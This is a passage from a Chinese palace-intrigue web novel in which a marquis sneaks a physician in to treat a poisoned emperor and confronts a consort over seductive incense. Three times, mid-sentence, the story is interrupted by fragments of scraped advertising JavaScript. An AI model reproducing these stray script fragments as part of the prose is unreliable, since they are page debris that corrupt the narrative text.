“不过后来宫里发生了什么事卑职就不知道了,只听说贤妃娘娘和康宁公主都出宫去了太庙为陛下祈福祈安。”吴嶒详尽地叙述了今日之事,言毕,静待商佑庭发落。 “知道了,先帝御赐吉服,确实不是你能阻拦的,也怪本候,平日里禁军这边来得少了,不过此时陛下安危不定,这些时日本候会常驻禁军这边,你且退下吧。” 听到商佑庭说接下来他都会待在禁军这边,吴嶒喜出望外。 要知道自家这位统领同时还是龙武军统领,平日里都是在龙武军那边练兵的,禁军这边很少过来。 平日无事也就算了,可如今陛下昏迷不醒,整个皇宫都是风雨欲来的感觉自己这些指挥使只是二品,遇到那些皇亲国戚这个穿个先帝御赐吉服,那个又穿个别的什么东西的,自己这些人还真没底气死拦着。 如今商佑庭坐镇禁军,那禁军可就有底气多了。 “统领有您坐镇那卑职就放心了。” 待吴嶒离去,统领所内静谧片刻,忽有一人自房梁轻盈跃下。 “商佑庭,你一日一夜累死三匹千里马,将我从西岭带回来,是为了给皇帝老儿治病的?” “嗯,你准备一下,随我进宫。” 说着,商佑庭将早已准备好的侍卫服饰掷向来人 另一边 吴嶒一出来便去找了原本负责怜月宫范围巡夜的仪卫和侍卫。 “老胡,小宋,今夜你们不用再去怜月宫巡夜了。统领另有安排。” 一般巡夜都是一个仪卫带着两个侍卫,再带若干预备侍卫。 但今夜商佑庭说了怜月宫那边由他负责,吴嶒自是不敢再多问,便只让原本的人别去了。 “啊?” 宋霖愕然失色。 “那怜月宫那边现在由谁负责巡夜呢?”他急切追问。 “谁负责你就不用管了,反正肯定是有人去的,行了今夜你们不用巡夜,活轻松不少,得了便宜就别问那么多了。”吴嶒摆了摆手,言语颇有不耐。 宋霖心下却是焦急。 白日里,贵妃娘娘特意给自己递了条子,说是晚上让自己去她宫里有要事相商。 果然,今夜巡夜就是自己负责怜月宫的范围。 身为禁军侍卫,没有巡逻任务是不能到处行走的,就算有了巡逻任务,也只能在自己负责的范围内行走。不然就会受到责罚。 如今计划赶不上变化,他在禁军之中,行动受限, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此刻却无法向娘娘传递无法赴约的消息,只能暗自决定,待明日再向娘娘请罪了。 话分两头,宋霖的坐立难安,商佑庭那边是全然不知。此时他已经带着沈知微来到了怜月宫附近。 “不是,我说商佑庭,你确定我们此行是来为陛下诊病的?你这行径,怎么搞得和飞贼一样?”沈知微看着商佑庭熟门熟路的摸到了一处奢丽宫殿的偏墙处,不禁蹙眉。 商佑庭脚下微动,借力一跃,身形宛若展翅大鹏一般掠入了宫殿内。 “正门都不走,倒像是做贼心虚。这知道的说你是来给皇帝老儿治病的,不知道还以为你是刺客呢。”沈知微武艺也不错,紧随其后,有样学样的也顺利进入了怜月宫。 “卧艹,这里怎么还有狗!”沈知微甫一落地,便看到两条凶猛的猎犬呲着牙朝他扑了过去,惊得他险些失态。 “嘬嘬嘬。”商佑庭口中发出几声逗弄之音,那两条原本凶相毕露的猎犬竟瞬间温顺安。 “天地、玄黄,别咬。” 看着商佑庭一手一条狗,原本凶猛的两条猎犬现在舒服的眯着眼睛享受着商佑庭的抚摸,尾巴还不停的摇着,仿佛久别重逢的老友。 “不是,我说商佑庭,这宫里的狗你都这么熟啊?”沈知微目瞪口呆:“你这不是第一回来吧。” “你小点声!也不怕把人引过来了。”拍了拍猎犬的脑袋,将两条猎犬都送回狗窝里,商佑庭示意沈知微跟上。 “本侯是禁军统领,出入皇宫很奇怪吗?” “看你这熟门熟路的,和回自己家一样自在,你老实告诉兄弟,你是不是想反?”怜月宫的造景很是复杂,沈知微没走多久就觉得快迷路了,但是看着前方带路的商佑庭,步伐之从容,宛若归家。 沈知微目光闪烁,满腹狐疑,快走几步上前一把拉住商佑庭的衣袖,压低声音问道:“所以,今夜其实我们是来毒杀老皇帝的?” “老皇帝昏庸无能,兄弟我早看不下去了,只要你发话,兄弟我有数百种方法能让那皇帝老儿悄无声息的驾崩。” “胡扯什么。”商佑庭抽走被沈知微拉住的衣袖,一点点抚平上边被拽出的褶皱。 “快跟上,我们的时间不多了。” 怜月宫这会人手不多,夜深人静,皇帝榻旁仅有一宫人和一小药童守候。商佑庭悄无声息地接近,抬起手,两记手刀落下,药童和宫人均应声而倒,昏睡过去。 “你先去为陛下诊治。” “诶?你要去哪?”沈知微这边刚把摸到皇帝的手腕,就看到商佑庭已经拔步走出了寝宫。 "我外出探查一番,确保万无一失。"商佑庭言罢,身形已消失在夜色之中,寝宫内只留下沈知微一人。 18. 第 18 章 轻轻推开那扇半掩的窗扉,商佑庭的目光探入屋内,只见屋内空荡荡的,连个伺候的人都没有。 就连灯也没点几盏,唯有床边两侧,两盏孤灯默默伫立,比起建平帝养病那个寝宫的亮如白昼,这个屋子显得有些昏暗。 视线移向床榻,床榻两侧,蜡烛摇曳着暖黄色的柔光,透过精致的灯罩与层层轻纱,朦朦胧胧的能看到床上躺着一道曼妙的身影。 不知为何,那道身影模模糊糊,只能看到个大概的轮廓,但商佑庭只看得是喉间微干。 等商佑庭反应过来的时候,他已经不知道什么时候翻窗进了屋子。 一进入屋中,商佑庭的鼻尖便萦绕着一股淡淡的幽香。 一阵夜风紧随其后,一起进入屋中。 夜风带起纱幔轻轻舞动,也惊动了床榻上的美人。 “谁在那边?” 秋宴越支起身子,顺着层层纱幔看向屋子中央站着的人。 屋内只点了两盏灯,加上纱幔的阻挡,秋宴越实在看不清来人的样子,只能看出此人身形高大,而且穿着一身禁军服饰。 微微思量,秋宴越便猜到了来人的身份。 应该就是宋霖了,今夜她本就邀了他前来怜月宫商量要事,这宫里的侍卫无诏是不能进入后宫妃嫔的宫殿范围的,更别说是直接进入到寝宫里面,若是被人发现,传出个秽乱宫闱的风言风语,那可是掉脑袋的大罪。 见那人一直不回答,秋宴越对自己的猜测更有了几分把握。 但她心中还有几分疑惑。 她今日是找了宋霖,但是约定的时间并不是现在,毕竟宋霖还需要大概半个时辰才来巡夜。 可这人怎么就提早了这么多时间来了怜月宫? 莫非是禁军那边的巡夜时间有所改变? 秋宴越在暗自思衬。 却听到那边的男子低低的说了声:“是我。” 这声音听着是有些耳熟,但是和平常宋霖的声音并不太相似。 但秋宴越也没多想,平时自己听到的都是宋霖正常的声音,现在宋霖为了不暴露自己压低了音量,声音有些差别也是正常。 “你怎的就这般闯进来了?”秋宴越的视线从大开的窗户处扫过,再次将视线投到中央那男子身上。 在秋宴越的印象里,宋霖是个极其守规矩的人,不然也不会在初入禁军的时候被个仪卫磋磨许久也不吱声,如今竟然敢翻窗进来,和平时的宋霖实在有些不太一样。 “是我唐突了。”商佑庭沉默了半晌,转过身去,先将大开的窗户给关上了,再郑重的道歉。 商佑庭也想不明白,自己怎么就这么进来了,未经主人同意便擅自闯入他人闺房,实在不是君子所为,但如今已经是进来了,那在出去也不妥当,罢了,左右他今夜也是准备来找这女人的。 听到男子道歉,秋宴越心中的疑虑少了一些。 也许宋霖是为了来告知自己提前赴约的事的,毕竟宋霖只是一个小小的禁军侍卫,宫中巡夜时间调整那是常有的事,他无法改变巡夜的时间,只能悄悄进入自己的寝宫,将无法准时赴约的消息告诉自己。 也罢,早些也没什么影响。 秋宴越攥禁手中的药瓶,她心中也没个底。 虽然提前点了助情的香料,但是时间还不长,也不知道能生效多少。 “你站在那边做什么,靠近些吧。”给自己壮了壮胆子,秋宴越悄悄将腰间的丝带松了松,对着不远处的男子勾了勾手指。 动作极尽挑逗。 商佑庭看着床上的人调整了个姿势。 这寝宫内的熏香带着丝甜腻,商佑庭觉得自己的脑子也被腻住了,鬼使神差的,他竟真的上前几步。 这间屋子虽然是临时作为秋宴越的寝宫的,但是布置是照着原本的寝宫布置的,布局很是讲究,在被层层纱幔遮掩的床榻前面,还有一面小米珍珠串成的珠帘。 缓缓掀开珠帘,眼前的景象一下子清晰起来。 床上的美人侧卧在床榻上,一手支着脑袋,另一只手随意的搭在腿上。 朦胧的纱幔掩不住美人那一身曼妙的曲线,商佑庭只觉得美人在榻,极尽诱惑。 他保持着一手掀开珠帘的动作。 心底一直有个声音,在蛊惑他,让他再上前几步。 但是理智又在告诉他,再往前将万劫不复。 “你......”才吐出一个字音,商佑庭就发现自己的声音晦涩的厉害。 商佑庭的手无力的垂落,没了他手的支撑,珠帘的垂珠窸窸窣窣的落了下来。 细小的珍珠胡乱的打到了商佑庭的脸上。 这一下,也让商佑庭的的脑子一下子清明起来。 自己和床榻的距离仅是几步之遥。 床榻上卧着的美人,似乎是妖媚的化身。 商佑庭连着退了几大步,直退到桌案前,顺手抄起桌案上的茶壶,也不管烫凉,直接往嘴里灌了进去。 好在,这壶茶水很凉,凉的正好。 直灌了整壶的凉水,这才让身上那一股燥意退了下去。 眼看就差一步,可那男子竟然不管不顾的退了回去,床榻上的秋宴越还保持着魅惑的姿势,她无比庆幸纱幔遮挡住了她的脸,不然她此刻脸上的错愕一定很可笑。 直到心境彻底恢复成平时的状态,商佑庭这才开口:“贵妃娘娘,你在这宫中的待遇实在不怎么样啊,宫里连个伺候的人都没有?这茶水都凉透了也没人给你续上热茶?” 听到商佑庭的话,原本侧卧在床榻上的秋宴越腾的支起身子。 这声音? “怎么......” 是你? 好在秋宴越还有理智存在,后面那两个字几乎就要脱口而出,但却硬是让她给咽回了肚子里。 “你这宫里的人也该整顿一下了。” 商佑庭头一回发现这宫里的人竟然是如此的尸位素餐,竟然能让一个男人就在这么摸进了贵妃的屋子里。 “侯爷怎么来了?”秋宴越暗自咬牙,将解开了一半的腰带重新绑了回去,掀开纱制床帘,径直走到窗前,将方才被商佑庭关上的窗户又推开了一些。 感受到微风慢慢的灌入屋内,秋宴越这才在商佑庭看不到的角度松了口气。 “娘娘昨夜说陛下突染风疾,宫中太医束手无策,只有沈知微沈神医才能救治一二,恰巧,本候和沈神医有几分交情,又恰好知道沈神医的行踪,今日本候便将沈神医带过来了,现在沈神医正在陛下寝宫内为陛下诊治。” 许是夜间,又是在自己的寝宫内,可商佑庭只觉得秋宴越穿的实在少了些。 但细细看去,似乎又没有什么不妥。 只是。 这薄制罗裙外只笼着一件轻薄纱衣,在昏黄的灯光下,更显得秋宴越身段纤秾合度,尤其是那不盈一握的细腰之上,那细腻柔美如凝脂的肌肤,几乎晃晕了商佑庭的眼。 商佑庭狼狈不堪的伸手去够茶壶,但茶壶早已经空了哪里还有水。 却见桌案上摆着一只茶盏,里面堪堪还剩了半盏的凉水,商佑庭也不管这水被谁饮了半盏,直接端过茶盏,将残茶一饮而尽。 秋宴越这会倒没注意商佑庭的古怪之处,她脑中只记得了个沈神医,她直接坐到商佑庭身侧,急切的问道:“侯爷说的可是真的?你真的将沈神医请来了?” 秋宴越脸上的喜色太过明显,本就美丽的眸子,这会竟然像是满天的繁星尽落入其中一般璀璨夺目。 见着这样的秋宴越,商佑庭不自然的别开脸:“陛下对本候有提携之恩,本候自然不会坐视不理,走吧,我们去看看陛下。” “那我们现在就走。” 说着秋宴越便起身,准备出门。 “等下,夜深了,外面寒气重,你,多穿身衣服。” 说罢,商佑庭也不管秋宴越答应与否,直接就将身上的披风接了下来,披到了秋宴越身上。 “本宫今日已经让人张贴了皇榜出去,侯爷为何不揭了皇榜,光明正大的带沈神医进宫为陛下诊治,而是要这般......掩饰行踪?” 一路上跟着商佑庭左拐右转的,秋宴越斟酌好一会儿才选了个不那么难听的字眼。 “今日,龙武军截获了一封密信。”商佑庭没有直接回答,而是挑了个看似毫无关系的事情说道。 秋宴越疑惑侧头:“是宫里送出去的密信?” “不错,那信是从淑妃宫送出去的,是要送去蓟州。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宫中四妃,从高到底分别是贵淑德贤。 淑妃有一子,早已就藩,藩地就在蓟州。 “那密信写了什么内容?” “信件是用密文书写的,没有密鉴,无法解读。” 虽然密信的具体内容不得而知,但是在这个节骨眼上,淑妃给自己远在蓟州的儿子递信,除了说皇帝中风的事,不做二想。 甚至,还有可能写了些更大逆不道的事也不得知。 秋宴越听得眉峰紧锁。 风雨欲来啊。 “到了。” 不知不觉,两人竟然已经来到了建平帝的寝宫处。 这一路走来,商佑庭特意带着秋宴越往没人的地方走,避开了所有的宫人,悄无声息的进入到了建平帝养病的屋中。 进入屋里,秋宴越便看到一个男子,正从建平帝身前起身。 这位男子比商佑庭年长几岁,估摸着二十七八的样子,五官俊秀,虽然穿着一身禁军侍卫的服饰,但是也掩盖不住他周身的文气,看起来不像个大夫,倒像是个文人秀才。 “这位想必就是沈神医吧。”得到了在场另外两人的确定答复后,秋宴越急切的问道:“沈神医,陛下的身子如何了?” 沈知微鼻尖微微一耸,视线在秋宴越身上那件深色的披风上转了一圈,当即鄙夷地扫了商佑庭一眼,随后回道:“有些棘手,我今夜为皇帝施了几针,暂时算是稳定住病情了。” “那陛下什么时候能醒呢?” “等我把他身上的毒都解了,就能醒了。”沈知微将金针从建平帝身上拔出来,放回自己的药袋里。 “中毒?陛下不是突染风疾吗?”秋宴越诧异的看着床榻上的皇帝。 “不错,陛下的身体除了中风之外,还有中毒,而且,这中毒才是陛下昏迷不醒的主要原因。此毒在陛下身体里已经潜伏了很长时间,这次陛下中风,本不该这么严重,但就是这毒先是破坏了陛下的根基,再就是一直持续的侵蚀陛下的身体,这才让陛下昏迷不醒。” “不过......”沈知微迟疑了一下。 秋宴越忙道:“沈神医有什么话还请明说。” “虽然祛除了毒素后,陛下就能醒来了,但是这毒对陛下身体已经造成了损害,就算是清了毒,这身体也会大不如前,对寿数也有些影响......对了,敢问这位娘娘是?” “本宫乃是贵妃,执掌凤印,沈太医尽力医治陛下,只要你医好了陛下,本宫定不会吝啬封赏,无论是金银珠宝,还是高官厚禄,本宫都能许你。” “原来是贵妃娘娘。”沈知微意味深长的扫了商佑庭一眼,继续冲着秋宴越说道:“娘娘,草民闲云野鹤惯了,此次前来也只是医者的本分,赏赐便不必了。” “沈神医果然高风亮节,既然如此,本宫便先不提这些,还望沈神医能全力救治陛下,这皇宫中所有的药材沈神医都可以尽情使用,整个太医院所有的太医,都会全力配合沈神医,救治陛下之后,沈神医只要有用得上本宫的地方,本宫在所不辞。” “不行,这事不能让太医院知道。”沉默许久的商佑庭突然开口。 “原以为陛下只是中风,但是没想到陛下竟然是中毒,陛下是如何中毒的?何人下的毒?太医院也是名医荟萃,怎么连陛下中毒多年都诊断不出来?” “你是说,太医院有问题?”秋宴越也反应了过来。 “不能确定,但是这事和太医院脱不了关系。如今还是谨慎一些的好。”商佑庭摇了摇头道。 “可是那药材怎么办?解毒需要的药材好找吗?”秋宴越对药材一窍不通,但是她却是知道皇宫里面有着大赵最好的药材,建平帝如今是她唯一的护身符,她不愿出一丝差池。 “药材你不用担心,长平候府多少有些家底,定不会误了陛下病情。” “既然如此,那就拜托侯爷了。”秋宴越真情实意的朝着商佑庭拜谢道。 ======= 来得时候鬼鬼祟祟,离开皇宫的时候商佑庭和沈知微倒是大摇大摆的坐着马车离开的。 坐在马车上,沈知微鄙夷到: “我说商佑庭,你这一入宫人就消失无踪了,原来是去那贵妃娘娘宫里厮混去了?” 19. 第 19 章 “胡说什么,陛下如今在贵妃宫里,你我去了她宫里,自然是要和她这个一宫之主打声招呼。”商佑庭眼皮子也不抬一下只顾把玩着手中的玉佩。 他手中的玉佩赫然就是之前秋宴越送回去那块。 沈知微嗤笑:“还装,那娘娘身上披着的那件披风是你的吧,你倒挺怜香惜玉的,走了都舍不得要回来。” “夜深露重,她一个弱女子,穿的又单薄,这要是冻出毛病来,过了病气给陛下如何是好。” “行行行,算你有理,那你这一身欢宜香的味道是怎么回事?” “什么欢宜香?”商佑庭把玩玉佩的手一顿,终于抬起眼来,正眼看着沈知微。 “你闻不出来?”沈知微见商佑庭的神情不似作伪,似乎是真的不知道,他这会也有些诧异。 商佑庭眼底幽深一片,握着玉佩的手指节微微泛白:“欢宜香是什么香?” “欢宜香,顾名思义,自然是调情用的咯。” 话音刚落,沈知微只觉得领口一紧,整个人被一股大力抵到了马车壁上。 “卧艹,商佑庭你又发什么疯。”措不及防之下,沈知微只觉得背部一痛,暗道还好商佑庭还知道这是在马车里控制了力道,不然这一下马车非被撞散不可。 商佑庭脸色铁青,他揪着沈知微一字一顿的重复道:“你再说一遍,欢宜香是做什么的?” “许是我闻错了,可能不是这香。”商佑庭此时实在可怕,沈知微还是头一回见到这样的商佑庭,他头摇的和拨浪鼓一样,打死不承认自己刚说了什么了。 商佑庭定定的看着沈知微,好一会儿才松开揪着他领子的手。 “掉头,回宫!” 商佑庭的眼底幽深一片,脸上虽然波澜不惊的样子,但是整个马车内都笼罩着一股低气压,一向和商佑庭关系极好的沈知微这会也大气不敢出一口。 欢宜香,一听这名字就知道不是什么正经的香料,再结合沈知微说的,这香的作用是调情。 商佑庭总算是想明白自己从进入到秋宴越寝宫就觉得不对经的地方究竟是什么了。 那女人,竟然还点了那种香! 他说为什么他会对那女人起了如此难以启齿的欲望,原来都是那香在作祟。 商佑庭暗自咬牙。 果然是妖妃,只会用这些下贱的手段。 ===== 马车还没驶出宫墙,就又掉头回了禁军统领所。 本来已经松懈下来准备回府补觉的吴嶒看到自家统领掉头回来,刚迈出禁军府大门的脚又收了回来。 “今夜,本该是谁负责怜月宫范围的巡夜?把人全给我叫过来。”见到大门口的吴嶒,商佑庭也不废话,直接让吴嶒带人去。 “啊?”吴嶒先是一愣,随后立马抱拳领命。 “属下这就去。” 不多时,胡仪卫、宋霖还有其他几名侍卫一起被吴嶒带到统领所内。 包括胡仪卫在内,这批人都是第一回见到统领,虽不知道统领为何召集他们,但是每个人进入统领所的时候,脸上都带着激动之色。 商佑庭虽然是禁军统领,但是他平日里甚少来禁军,除去禁军统领的身份,商佑庭还是大赵军神。 不夸张的说,大赵百姓可以不知道龙椅上的皇帝姓甚名谁,但是问起大赵军神叫什么,这些百姓们绝对不会叫错商佑庭的名字。 对于大赵来说,商佑庭是不折不扣的战神,是商佑庭横空而出,打破了大燕不可战胜的神话。 也是商佑庭率领大军,将被大燕吞下的大片领土一点点拿回来。 如果大赵没有商佑庭,那早就亡国了。 商佑庭在军中的地位崇高无比,禁军侍卫也是军方,这些禁军自然对商佑庭十分崇拜。 就连胡仪卫这个年过半百的老仪卫看到商佑庭的时候都激动的不能自己。 至于另外几个年轻些的侍卫,脸上的崇拜儒慕之意都快要溢出来了。 商佑庭早已习惯了类似的目光,他毫不受影响,目光如刀锋般锐利的扫过每个人的面孔。 商佑庭的视线从最前方的仪卫,一直到站在最后面的预备侍卫。 除去年纪太大的,太丑的。 “你,你,还有你,你们三个留下,其余的退下。” 商佑庭很快便从二十号人里筛选出来三个年轻英俊的侍卫。 一个七品侍卫,两个预备侍卫。 商佑庭的目光牢牢锁定在七品侍卫宋霖身上。 眼前的少年岁数不大,五官俊秀,年纪轻轻便已经是七品侍卫了,可见自身有些能力,倒是有能入秋宴越眼的可能。 至于另外两个,预备侍卫,不入流,若真入了秋宴越的眼,就凭她目前的地位,这两人也不至于还是个预备。 但是也不能大意,另外两个预备侍卫虽然容貌不如宋霖,但也是五官端正,说不准就入人娘娘的眼了。 “你们三人不用,紧张,本统领这次喊你们来,便是想了解一下怜月宫近期来的状况。” 商佑庭神情温和,似乎真的只是想找自己几人了解情况一样。 下面三人互相对视了一眼,同时双手抱拳行礼:“属下必如实告知。” 商佑庭点了点头:“很好,陛下染病在床,如今正在怜月宫中静养,这事你们都听说了吧。” “有所耳闻。” 白日的时候,秋宴越便下令张贴出皇榜,从民间广纳名医,不过下面品级不高侍卫也不能得知详情,只知道是皇帝染病,不知道具体是什么病。 “宋侍卫是吧,宋侍卫年纪轻轻便是七品侍卫了,未来不可限量啊。”商佑庭随手翻阅了一下宋霖的档案。 宋霖家世清白,进入禁军后也是兢兢业业,至少从这薄薄的一张纸上,商佑庭看不出此人有什么问题。 “统领谬赞,属下,愧不敢当。”宋霖和其他人相比也许会有些自得,但是和商佑庭这位年纪轻轻便封候拜将的大赵军神相比,那就是相形见绌了。 但是能得到大赵军神的夸赞,宋霖的脸上也是激动的一片潮红,脸说话都结巴起来了。 “统领才是真的战功赫赫,属下哪里当得起统领夸赞。” “你等平日去怜月宫的次数可多?” “回统领,宫中巡逻都由上头安排,我等只是小小的侍卫,哪里有得选,上头怎么安排的,我等便怎么巡逻。”宋霖在场三人里品阶最高的一个,因此便是由他来回答商佑庭的问题。 商佑庭自然知道禁军的规矩。 又问了几个问题,宋霖也都一五一十的答了。 看着眼前这三个侍卫,均是目光坦荡,神色如常,问答也没有不妥的地方。 终于,商佑庭挥手,让这几个侍卫全都退下去。 “吴嶒。” “属下在。” “将宋霖入宫以来的驻守巡逻记录全送上来。”虽然让人退下了,但是商佑庭看着宋霖总觉得不太对劲。 “啊?这宋霖可是有问题?”吴嶒忍不住问道 “不该你问的事,不要多问。” 商佑庭只是凉凉的瞥了吴嶒一眼,吴嶒立马不在追问了。 “不知统领何时要?” 商佑庭的手指轻叩桌案,报出了一个期限:“落日前,本统领必须见到这宋霖所有的记录。” 看着吴嶒脸上的纠结,商佑庭眉峰一皱:“怎么,做不到?” “能做到,能做到,落日前肯定能送过来。”吴嶒一咬牙答应了下来,可心里却是在暗自叫苦。 宋霖来禁军已经快四年了,四年的记录,这得找到什么时候去了。 ===== 另一边。 天还未亮,但秋宴越却怎么也睡不着了。 她独自一人抱着被子坐在床榻上生着闷气。 把玩了一下手中的瓷瓶,瓷瓶中的药丸完好无损,只是看着这药丸,秋宴越却没有了服用的心思。 今夜是多好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的机会啊,只要宋霖顺利进入怜月宫,借着欢宜香的效果,自己就有把握迷惑了宋霖,结果自己所有的计划都被不速之客商佑庭给破坏了。 比起计划被破坏,更让秋宴越忌惮的是,商佑庭竟然能悄无声息的带着沈知微进入到怜月宫。 而怜月宫上下对此一无所知。 若非商佑庭今晚来了自己的寝宫,恐怕自己根本不会察觉到他来过。 想到这里,秋宴越只觉得浑身发寒。 商佑庭才只是个禁军统领,就能在皇帝昏迷的时候入后宫如无人之境。 那其他人呢,暗处到底还有多少人呢? 吱嘎一声,窗户又开了,商佑庭挟裹着凉凉晚风,再次闯入怜月宫。 “商佑庭,本宫的怜月宫不是你的后花园,不是你说来就来的地方。” 这熟悉的闯入方式,和屋子中央那个熟悉的身影,秋宴越一下就认出了来人是谁。 一夜里不打声招呼就硬闯自己寝宫两次,饶是秋宴越再怎么能忍耐,这会也不悦的指责起来。 “再次叨唠娘娘,只是本候有一件事情实在想不明白,特意回来询问娘娘,不知娘娘能否如实告知?”商佑庭来得时候怒气冲冲,可进入这怜月宫,听到这人气呼呼的指责,他心里的怒气竟然一下散了不少。 “什么事?”秋宴越语气不耐。 “娘娘宫中的香,香气实在独特,不知是何香?”犹豫了片刻,商佑庭还是决定先从这欢宜香上找突破口。 秋宴越心下一禁,不由自主的握住手中瓷瓶。 “本宫这香名为欢宜香,此香乃是陛下所赐,若是侯爷喜欢,本宫倒是可以赏赐侯爷一些,不过,不知侯爷府中可有侍妾通房之流?” 商佑庭自然是没有娶妻的,堂堂大赵长平候,大将军,这等人物要是娶亲,那他夫人也会自然的成为朝廷的命妇。 秋宴越如今执掌凤印,管理后宫,同时也管理着大赵的命妇,但是却从来没见到长平候府的命妇。 “本候一向洁身自好,自然没有侍妾通房之流。” “既然侯爷身边没有知心人,那本宫还是奉劝侯爷一句,这香还是不用为好。”秋宴越有些诧异。 她习惯了自己父亲还有皇帝这样的妻妾成群,见到商佑庭这样身居高位,再不济也该有个暖床丫头,但没成想他竟真的连个侍妾通房都没有。 “这香和我身边有没有女人有什么关系?”商佑庭反问道。 “侯爷既然知道本宫屋里点了香,那你难不成就没感觉出来这香的用处吗?这会装模作样的有意思吗?” 秋宴越冷笑,商佑庭去而复返,分明是察觉出了她屋内的香有问题。 这会却还装什么。 见秋宴越阴阳怪气的直接说出了香的作用,商佑庭心底也起了火气:“本候倒是想问娘娘,娘娘独自一人点这香到底为何?” 秋宴越呼吸不变,道出她早就想好的措词:“这香乃是陛下所赐,陛下也爱这香的气味,所以,本宫宫里这香,一年三百六十五日,日日不停,不知这解释,侯爷可满意?” “如今陛下中毒昏迷,娘娘你是为谁点的这香?” 商佑庭的目光透过重重纱幔,注视着床榻上的女人,等着她给自己一个答案、 “放肆!” 秋宴越重重在床榻上一拍。 她的气息有些不稳,胸口不停的起伏,甚至连身躯都在微微颤动,似乎是气的不轻。 “长平候你这是在质疑本宫吗?” “还请娘娘如实回答。” “长平候,这香的作用是调情,可不是催情!” “若是心中无邪念,这香也不过就是寻常的熏香而已。” “本宫点这香,只是习惯所致,本宫又不是那能未卜先知的仙人,哪里能知道今夜长平候你能夜闯怜月宫呢?本宫未治你擅闯皇宫之罪已经是仁慈,如今长平候你反倒是气势汹汹的来质问本宫?莫不是,长平候你对本宫起了欲念?” 20. 第 20 章 此话一落,整个怜月宫的一下子变得压抑起来。 “荒唐!”秋宴越听到商佑庭说道。 只不过两个字,秋宴越却听出了里面咬牙切齿的怒意,她心中不由自主地涌起一股莫名的紧张,她下意识地咽了口口水。 但是她还是鼓起勇气继续说道:“侯爷这次突然来访,倒是让本宫想起了几件不寻常的事情。比如说,本宫这屋里的凉水,怎么就被侯爷一口气喝得一干二净了呢?” 她顿了顿,目光紧紧地盯着那个身影:“还有侯爷那个时候,似乎是想要掀开本宫床帘的吧。侯爷,你僭越了。” “侯爷最后喝的那半盏茶水,可是本宫喝过的,侯爷喜洁,怎么连这事都不曾注意?” “侯爷你自是可以不承认,这一桩桩一件件的不寻常可做不了假。” “住口!” “侯爷这是事情做得,本宫说不得?”商佑庭越是愤怒,秋宴越越是来劲。 “本宫倒是想知道,侯爷自己动了欲念,怎么就能气势汹汹的前来本宫这里兴师问罪?” “是了,本宫在侯爷心中可是个祸水妖妃,侯爷会觉得本宫再刻意勾引你,那真是再正常不过了呢。” 秋宴越的声音很好听,就算是这个时候阴阳怪气的时候也是一样的好听。 但是商佑庭听着秋宴越的话,每一句他的脸色就黑上一分。 “侯爷,你站那么远做什么,你为何不走近些,你走近些,看看本宫可美吗?”看着远远沾着生气生得全身冒黑气的商佑庭,秋宴越心中念头一动,竟起了些挑逗的心思。 秋宴越此时就好像是一头会蛊惑人心的药物,就算是隔着层层纱幔,商佑庭还是能精准的通过那模糊不堪的轮廓描绘出她本来的曼妙身段。 “侯爷的披风,真的很暖和,那上面还有侯爷您残留下来的体温,侯爷你过来些,妾身将那披风还于你。” 不知不觉中,秋宴越对自己的称呼也从本宫变成了妾身,但是商佑庭却仿佛是完全不曾察觉。 秋宴越本是坐在床榻上的,听着屋子中央商佑庭的呼吸声越来越重,秋宴越缓缓躺了下去。 “佑庭哥哥,你不是想看我跳舞吗,我今夜就跳给你看如何?陛下看的是什么样子的舞,我就怎么给你跳,如何?” 屋子中央的商佑庭呼吸一滞。 昨夜的场景还历历在目。 不得不承认,他当时除了失望,还有那无法说出口的对建平帝的嫉恨。 他恨自己少不努力,在最没有能力的时候,那个最美的姑娘也毫不犹豫的弃他而去。 他记得,三年前他去秋府的那日。 商家已经没落了,他找出了自己最体面的衣裳,拿了自己所有的积蓄,置办了一份勉强过得去的聘礼,前去秋家提亲。 但是得到的是,秋家最近才从庄子上接回的,那个一直在养病的小姐,一大早就被送入宫中去了。 屋子中央的商佑庭依旧一动不动,秋宴越侧卧在床榻上,白净纤长的手指紧紧捏着瓷瓶,她在赌。 皇宫中暗潮汹涌。 各宫娘娘各有算计。 淑妃能给远在蓟州的蓟州王送密信,那其他宫的娘娘呢? 皇帝的皇子不少,除了废太子外,皇帝还有四个皇子,除去一个被贬为庶民发放岭南永不归京的四皇子外,还有三个就藩的皇子。 离京城最近的便是三皇子蓟州王,之后便是五皇子云南王,其母亲是王昭媛,还有七皇子远洲王,其母亲是刘修仪。 除了三皇子的母亲是妃位之外,另外几人都是嫔位。 皇宫中的女人都不简单,能成为妃嫔的妃子,要么家世显赫,要么就是如同她这般工于心计。 王家和刘家都有人在朝为官,而且官位不低。淑妃能够将密信送出宫去,那王昭媛和刘修仪自然也是可以有办法送消息出去的。 蓟州距离南都最近,若是马的脚力够快,加上日夜兼程,说不定这个时候信件已经到蓟州了。 虽然商佑庭截获了一封信件,但是谁能保证,淑妃就是只写了一封信呢?她大可写上十七八封,只要有一封送到蓟州就算成功。 若是换成是秋宴越,她是断然不会只写一封的,这路上要是如同商佑庭截获一般,这信不久废了? 蓟州王就藩这事,秋宴越在背后确实使了些手段,但是这事也不能完全归咎于她。 若是建平帝没这个心思,那么她所用的那些手段又能起到多大的作用呢? 建平帝年岁渐高,人也确实昏庸了不少,他和蓟州王的关系就像狮群中的老狮子王与新王一样,老王已经年老体衰,而新王则年轻力壮,不仅年轻,而且才华横溢,有着远大的志向和非凡的能力。 太子被废后,现在的蓟州王,当时的三皇子赵乾成为储君呼声最高的人选。 淑妃本来就是四妃之一,那个时候的秋宴越还不是贵妃,皇后幽禁在坤宁宫,淑妃就是这后宫中地位最高的妃嫔,就算是贤妃也比不上,也就是淑妃常年卧病在宫,不怎么出门,不然执掌凤印也轮不到贤妃。 淑妃的母族姜氏也是不凡。 和贤妃的母族李家不同,淑妃的母族姜氏手握兵权,南方水师便是掌握在姜家手里。 南方水师,作为一支专门负责抵御海上威胁的重要军事力量,在整体声势和规模上或许无法与商佑庭所执掌的龙武军相提并论,然而它依然是一支不可小觑的强悍军力。 这支水师在保卫大赵的海疆安全方面发挥着至关重要的作用,其训练有素的官兵和先进的战舰构成了坚固的海上防线。 看着有姜家支持的三皇子,建平帝怕了。 